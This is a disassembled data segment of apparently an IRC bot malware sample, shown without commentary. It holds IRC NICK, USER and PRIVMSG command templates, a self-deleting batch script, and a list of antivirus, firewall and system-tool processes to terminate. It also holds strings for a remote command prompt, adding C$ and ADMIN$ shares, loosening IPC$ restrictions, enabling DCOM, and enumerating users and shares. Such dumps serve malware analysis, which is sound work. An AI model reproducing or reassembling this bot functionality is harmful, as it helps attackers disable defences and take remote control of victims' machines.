aBobmarley	db 'BOBMARLEY',0        ; DATA XREF: ___:00437CC8o
		align 4
aMaxxguy	db 'maxxguy',0          ; DATA XREF: ___:00437CC4o
aFarooq		db 'farooq',0           ; DATA XREF: ___:00437CC0o
		align 4
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: ___:00437CBCo
		align 10h
aM_0:					; DATA XREF: ___:00437CB8o
					; ___:00438004o
		unicode	0, <M>,0
word_438724	dw 4Eh			; DATA XREF: sub_419E79+38r
					; ___:00437CB4o
		align 4
dword_438728	dd 42h			; DATA XREF: ___:00437CB0o
dword_43872C	dd 56h			; DATA XREF: ___:00437CACo
dword_438730	dd 43h			; DATA XREF: ___:00437CA8o
dword_438734	dd 58h			; DATA XREF: ___:00437CA4o
					; ___:00438038o
dword_438738	dd 5Ah			; DATA XREF: ___:00437CA0o
dword_43873C	dd 4Ch			; DATA XREF: ___:00437C9Co
dword_438740	dd 4Bh			; DATA XREF: ___:00437C98o
dword_438744	dd 4Ah			; DATA XREF: ___:00437C94o
dword_438748	dd 48h			; DATA XREF: ___:00437C90o
dword_43874C	dd 47h			; DATA XREF: ___:00437C8Co
dword_438750	dd 46h			; DATA XREF: ___:00437C88o
					; ___:00438000o
dword_438754	dd 44h			; DATA XREF: ___:00437C84o
dword_438758	dd 53h			; DATA XREF: ___:00437C80o
dword_43875C	dd 50h			; DATA XREF: ___:00437C78o
dword_438760	dd 4Fh			; DATA XREF: ___:00437C74o
dword_438764	dd 55h			; DATA XREF: ___:00437C6Co
word_438768	dw 59h			; DATA XREF: sub_41A19D+38r
					; ___:00437C68o
		align 4
dword_43876C	dd 54h			; DATA XREF: ___:00437C64o
dword_438770	dd 52h			; DATA XREF: ___:00437C60o
dword_438774	dd 45h			; DATA XREF: ___:00437C5Co
dword_438778	dd 57h			; DATA XREF: ___:00437C58o
dword_43877C	dd 51h			; DATA XREF: ___:00437C54o
dword_438780	dd 62h			; DATA XREF: ___:00437C48o
					; ___:00437F3Co ...
dword_438784	dd 78h			; DATA XREF: ___:00437C3Co
dword_438788	dd 7Ah			; DATA XREF: ___:00437C38o
dword_43878C	dd 6Ch			; DATA XREF: ___:00437C34o
dword_438790	dd 68h			; DATA XREF: ___:00437C28o
dword_438794	dd 67h			; DATA XREF: ___:00437C24o
dword_438798	dd 66h,	79h, 77h	; DATA XREF: ___:00437C20o
dword_4387A4	dd 4B43494Eh, 0A732520h, 0 ; DATA XREF:	sub_4177CF+B1o
dword_4387B0	dd 323334h		; DATA XREF: sub_4177CF+79o
dword_4387B4	dd 474E4F50h, 0A732520h, 0 ; DATA XREF:	sub_4177CF+61o
aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_4178BA+9Bo
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 10h
a__0		db '-|`_\{[]}',0        ; DATA XREF: sub_417ADD+BCo
					; sub_417ADD+175r ...
		align 4
		dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 3000005h, 10h, 18h, 1, 3 dup(0)
; ---------------------------------------------------------------------------
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
		dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41814C+72o
		align 10h
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_418293+1Co
		align 10h
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418337+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_418359+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_418359+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_418359+48o
		align 4
unk_43892C	db  2Dh	; -		; DATA XREF: sub_4184E1+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 4
unk_43895C	db  2Dh	; -		; DATA XREF: sub_4184E1+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 4
dword_438984	dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
					; DATA XREF: sub_4184E1+5Co
		dd 65726165h, 64h
off_4389A0	dd offset aAdd		; DATA XREF: sub_4186C1+60r
					; sub_418A98+51r ...
					; "Add"
off_4389A4	dd offset aAdded	; DATA XREF: sub_4186C1+2Dr
					; sub_418A98+83r ...
					; "Added"
dword_4389A8	dd 0			; DATA XREF: sub_4186C1+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 438A14h, 438A0Ch,	2, 438A00h, 4389F4h, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: ___:004389D4o
aStop_0		db 'Stop',0             ; DATA XREF: ___:004389D0o
		align 4
aStarted	db 'Started',0          ; DATA XREF: ___:004389C8o
aStart_0	db 'Start',0            ; DATA XREF: ___:004389C4o
		align 4
aListed		db 'Listed',0           ; DATA XREF: ___:004389BCo
		align 4
aList_1		db 'List',0             ; DATA XREF: ___:004389B8o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: ___:004389B0o
aDelete_0	db 'Delete',0           ; DATA XREF: ___:004389ACo
		align 4
aAdded		db 'Added',0            ; DATA XREF: ___:off_4389A4o
		align 4
aAdd		db 'Add',0              ; DATA XREF: ___:off_4389A0o
unk_438A68	db  2Dh	; -		; DATA XREF: sub_4186C1+67o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
unk_438A8C	db  2Dh	; -		; DATA XREF: sub_4186C1+51o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 4
unk_438AB8	db  2Dh	; -		; DATA XREF: sub_4186C1+33o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4187DD+12Co
		align 4
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_4187DD:loc_4188F5o
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_4187DD:loc_4188EEo
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_4187DD:loc_4188E7o
		db 'the state of the service.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_4187DD:loc_4188E0o
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_4187DD:loc_4188D9o
		db ' correct access rights.',0
		align 10h
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_4187DD:loc_4188D2o
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_4187DD:loc_4188CBo
		align 4
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_4187DD:loc_4188C4o
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_4187DD:loc_4188BDo
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_4187DD:loc_4188B6o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_4187DD:loc_41888Bo
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_4187DD:loc_418884o
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_4187DD:loc_41887Do
		db 'tServiceCtrlDispatcher.',0
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_4187DD:loc_418876o
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_4187DD+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_4187DD:loc_41884Bo
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_4187DD:loc_418841o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_4187DD:loc_418837o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_4187DD:loc_41882Do
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_4187DD:loc_418823o
		align 4
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_4187DD+3Co
		align 10h
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_41895B+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_41895B:loc_418A27o
aStarting	db '   Starting',0      ; DATA XREF: sub_41895B:loc_418A20o
aStoping	db '    Stoping',0      ; DATA XREF: sub_41895B:loc_418A19o
aRunning	db '    Running',0      ; DATA XREF: sub_41895B:loc_418A12o
aContinuing	db ' Continuing',0      ; DATA XREF: sub_41895B:loc_418A0Bo
aPausing	db '    Pausing',0      ; DATA XREF: sub_41895B:loc_418A04o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_41895B:loc_4189FDo
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_41895B+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_41895B+25o
		align 4
unk_43900C	db  2Dh	; -		; DATA XREF: sub_418A98+ACo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 10h
dword_439030	dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
					; DATA XREF: sub_418A98+8Ao
		dd 73252720h, 27h
unk_43904C	db  2Dh	; -		; DATA XREF: sub_418A98+58o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418C8E+D0o
		align 10h
aNo		db 'No',0               ; DATA XREF: sub_418C8E+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_418C8E+B5o
unk_439098	db  2Dh	; -		; DATA XREF: sub_418C8E+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 10h
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_418C8E+26o
		align 4
unk_4390F8	db  2Dh	; -		; DATA XREF: sub_418DAF+B7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 10h
unk_439120	db  2Dh	; -		; DATA XREF: sub_418DAF+95o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 10h
unk_439150	db  2Dh	; -		; DATA XREF: sub_418DAF+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 10h
unk_439170	db  2Dh	; -		; DATA XREF: sub_418EF6+3AFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_418EF6+385o
		align 4
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_418EF6+35Ao
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_418EF6+32Fo
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_418EF6+304o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_418EF6+2D9o
		align 4
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_418EF6+2AEo
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_418EF6+283o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_418EF6+258o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_418EF6+22Do
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_418EF6+202o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_418EF6+1D7o
		align 10h
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_418EF6+1ACo
		align 10h
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_418EF6+181o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_418EF6+156o
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_418EF6+12Bo
aGuest		db 'Guest',0            ; DATA XREF: sub_418EF6:loc_419015o
		align 10h
aUser_1		db 'User',0             ; DATA XREF: sub_418EF6:loc_41900Eo
		align 4
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_418EF6:loc_419007o
		align 4
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_418EF6+DAo
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_418EF6+AFo
		align 4
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_418EF6+84o
		align 4
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_418EF6+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_4192DF+14Fo
		align 4
unk_43932C	db  2Dh	; -		; DATA XREF: sub_4192DF+F7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 4
aS_4		db '  %S',0             ; DATA XREF: sub_4192DF+BEo
		align 10h
unk_439360	db  2Dh	; -		; DATA XREF: sub_4192DF+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_4192DF+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_41945F:loc_41957Co
		align 4
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_41945F:loc_419575o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_41945F:loc_41956Eo
		align 10h
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_41945F:loc_419567o
		align 10h
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_41945F:loc_419560o
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_41945F:loc_419543o
		db 'ord policy requirement.)',0
		align 4
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_41945F:loc_41953Co
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_41945F:loc_419535o
		align 4
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_41945F+CFo
		db ' the domain.',0
		align 4
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_41945F:loc_41950Ao
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_41945F:loc_419503o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_41945F:loc_4194FCo
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41945F:loc_4194F2o
		align 10h
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_41945F+89o
		align 4
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_41945F:loc_4194CCo
		align 10h
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_41945F:loc_4194C2o
		align 10h
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_41945F:loc_4194B8o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_41945F:loc_4194AEo
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_41945F:loc_4194A4o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_41945F+3Bo
		align 4
dword_439668	dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
					; DATA XREF: sub_419593+ABo
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h
unk_439694	db  2Dh	; -		; DATA XREF: sub_419593+81o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aMessageSentSuc	db '- message sent successfully',0
		align 4
		dd 7530h
off_4396C0	dd offset aRegedit_exe	; DATA XREF: sub_4196BC+CBo
					; "regedit.exe"
		dd offset aMsconfig_exe	; "msconfig.exe"
		dd offset aNetstat_exe	; "netstat.exe"
		dd offset aMsblast_exe	; "msblast.exe"
		dd offset aZapro_exe	; "zapro.exe"
		dd offset aNavw32_exe	; "navw32.exe"
		dd offset aNavapw32_exe	; "navapw32.exe"
		dd offset aZonealarm_exe ; "zonealarm.exe"
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset dword_4397C8
		dd offset dword_4397BC
		dd offset dword_4397B0
		dd offset dword_4397A4
		dd offset dword_439798
		dd offset dword_43978C
		dd offset dword_43977C
		dd offset dword_439770
		dd offset dword_439764
		dd offset dword_439758
		dd offset dword_43974C
		dd offset dword_43973C
		dd offset dword_439730
		dd offset dword_439720
dword_439720	dd 72313169h, 346E3435h, 6578652Eh, 0 ;	DATA XREF: sub_4196BC+ECo
					; ___:0043971Co
dword_439730	dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:00439718o
dword_43973C	dd 75643364h, 74616470h, 78652E65h, 65h	; DATA XREF: ___:00439714o
dword_43974C	dd 65746172h, 6578652Eh, 0 ; DATA XREF:	___:00439710o
dword_439758	dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:0043970Co
dword_439764	dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:00439708o
dword_439770	dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:00439704o
dword_43977C	dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ;	DATA XREF: ___:00439700o
dword_43978C	dd 61656262h, 2E656C67h, 657865h ; DATA	XREF: ___:004396FCo
dword_439798	dd 696E6550h, 2E323373h, 657865h ; DATA	XREF: ___:004396F8o
dword_4397A4	dd 6B656574h, 2E736469h, 657865h ; DATA	XREF: ___:004396F4o
dword_4397B0	dd 4C42534Dh, 2E545341h, 657865h ; DATA	XREF: ___:004396F0o
dword_4397BC	dd 7663736Dh, 2E323362h, 657865h ; DATA	XREF: ___:004396ECo
dword_4397C8	dd 69737973h, 2E6F666Eh, 657865h ; DATA	XREF: ___:004396E8o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: ___:004396E4o
		align 4
aWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:004396E0o
aZonealarm_exe	db 'zonealarm.exe',0    ; DATA XREF: ___:004396DCo
		align 10h
aNavapw32_exe	db 'navapw32.exe',0     ; DATA XREF: ___:004396D8o
		align 10h
aNavw32_exe	db 'navw32.exe',0       ; DATA XREF: ___:004396D4o
		align 4
aZapro_exe	db 'zapro.exe',0        ; DATA XREF: ___:004396D0o
		align 4
aMsblast_exe	db 'msblast.exe',0      ; DATA XREF: ___:004396CCo
aNetstat_exe	db 'netstat.exe',0      ; DATA XREF: ___:004396C8o
aMsconfig_exe	db 'msconfig.exe',0     ; DATA XREF: ___:004396C4o
		align 10h
aRegedit_exe	db 'regedit.exe',0      ; DATA XREF: ___:off_4396C0o
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_4196BC+191o
		align 4
unk_439878	db  2Dh	; -		; DATA XREF: sub_4198EB:loc_419972o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 4
unk_43989C	db  2Dh	; -		; DATA XREF: sub_4198EB+80o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 10h
unk_4398C0	db  2Dh	; -		; DATA XREF: sub_4198EB+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419A88+33o
unk_4398F0	db  2Dh	; -		; DATA XREF: sub_419B0F:loc_419C41o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess.',0Dh,0Ah,0
unk_439920	db  2Dh	; -		; DATA XREF: sub_419B0F+10Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 4
unk_439948	db  2Dh	; -		; DATA XREF: sub_419B0F:loc_419BF5o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess',0Dh,0Ah,0
		align 4
unk_439978	db  2Dh	; -		; DATA XREF: sub_419C64+194o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 4
unk_4399AC	db  2Dh	; -		; DATA XREF: sub_419C64+14Co
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 10h
off_4399D0	dd offset dword_439A08	; DATA XREF: sub_419E79+1B3o
					; sub_41A19D+17Ao
		dd 0
		dd offset dword_439A00
		align 10h
off_4399E0	dd offset dword_4399FC	; DATA XREF: sub_41A19D+1E3o
		dd offset dword_4399F8
		dd offset dword_4399F4
		dd offset dword_4399F0
dword_4399F0	dd 5C3A44h		; DATA XREF: sub_419E79+217o
					; ___:004399ECo
dword_4399F4	dd 2444h		; DATA XREF: ___:004399E8o
dword_4399F8	dd 5C3A43h		; DATA XREF: ___:004399E4o
dword_4399FC	dd 2443h		; DATA XREF: ___:off_4399E0o
dword_439A00	dd 494D4441h, 244Eh	; DATA XREF: ___:004399D8o
dword_439A08	dd 24435049h, 0		; DATA XREF: ___:off_4399D0o
dword_439A10	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+2E5o
					; sub_41A19D+2DBo
aNetapi32_dllCo	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 10h
dword_439A40	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+2CFo
aNetworkSharesD	db '- Network shares deleted.',0
		align 4
dword_439A68	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_41A0DBo
aFailedToDelete	db '- Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_439A94	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+25Bo
aShareSDeleted_	db '- Share ',27h,'%S',27h,' deleted.',0
		align 4
dword_439AB8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_41A048o
aFailedToDele_0	db '- Failed to delete ',27h,'%s',27h,' share.',0
		align 4
dword_439AE4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+1C8o
aShareSDelete_0	db '- Share ',27h,'%s',27h,' deleted.',0
		align 4
dword_439B08	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419FABo
					; sub_41A19D:loc_41A2CBo
aAdvapi32_dllCo	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_439B38	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419FA4o
aFailedToOpenIp	db '- Failed to open IPC$ Restriction registry key.',0
dword_439B74	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419F86o
aRestrictedAcce	db '- Restricted access to the IPC$ Share.',0
		align 4
dword_439BA8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+106o
aFailedToRestri	db '- Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_419E79+EDo
					; sub_41A19D+EDo
		align 4
dword_439BF8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+91o
					; sub_41A19D+91o
aFailedToOpenDc	db '- Failed to open DCOM registry key.',0
dword_439C28	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 64204D4Fh
					; DATA XREF: sub_419E79:loc_419EE6o
		dd 62617369h, 2E64656Ch, 0
dword_439C48	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+66o
aDisableDcomFai	db '- Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_419E79+54o
					; sub_41A19D+54o
		align 4
dword_439C78	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+2C3o
aNetworkSharesA	db '- Network shares added.',0
aC_0		db '%c:\',0             ; DATA XREF: sub_41A19D+230o
		align 4
aC_1		db '%c$',0              ; DATA XREF: sub_41A19D+219o
dword_439CA8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A33Co
					; sub_41A19D:loc_41A40Do
aFailedToAddSSh	db '- Failed to add ',27h,'%s',27h,' share.',0
dword_439CD0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+198o
					; sub_41A19D+269o
aShareSAdded_	db '- Share ',27h,'%s',27h,' added.',0
dword_439CF0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A2C4o
aFailedToOpen_0	db '- Failed to open IPC$ restriction registry key.',0
dword_439D2C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A2A6o
aUnrestrictedAc	db '- Unrestricted access to the IPC$ Share.',0
		align 4
dword_439D64	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+102o
aFailedToUnrest	db '- Failed to unrestrict access to the IPC$ Share.',0
		align 4
dword_439DA4	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 65204D4Fh
					; DATA XREF: sub_41A19D:loc_41A20Ao
		dd 6C62616Eh, 2E6465h
dword_439DC0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+66o
aEnableDcomFail	db '- Enable DCOM failed.',0
		align 4
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A4D1+E1o
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
dword_439E18	dd 234032Dh, 65657073h,	73657464h, 2D030274h, 75450220h
					; DATA XREF: sub_41A6AE+1A7o
		dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
		dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
		dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
		dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_41A6AE+C4o
		align 4
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_41A6AE+BDo
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_41A6AE+B6o
		align 4
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_41A6AE+AFo
		align 4
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A6AE+A8o
		align 10h
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A6AE+A1o
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_41A6AE+9Ao
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_41A6AE+93o
		align 4
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_41A6AE+8Co
		align 4
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_41A6AE+85o
		align 4
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_41A6AE+7Eo
		align 4
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_41A6AE+77o
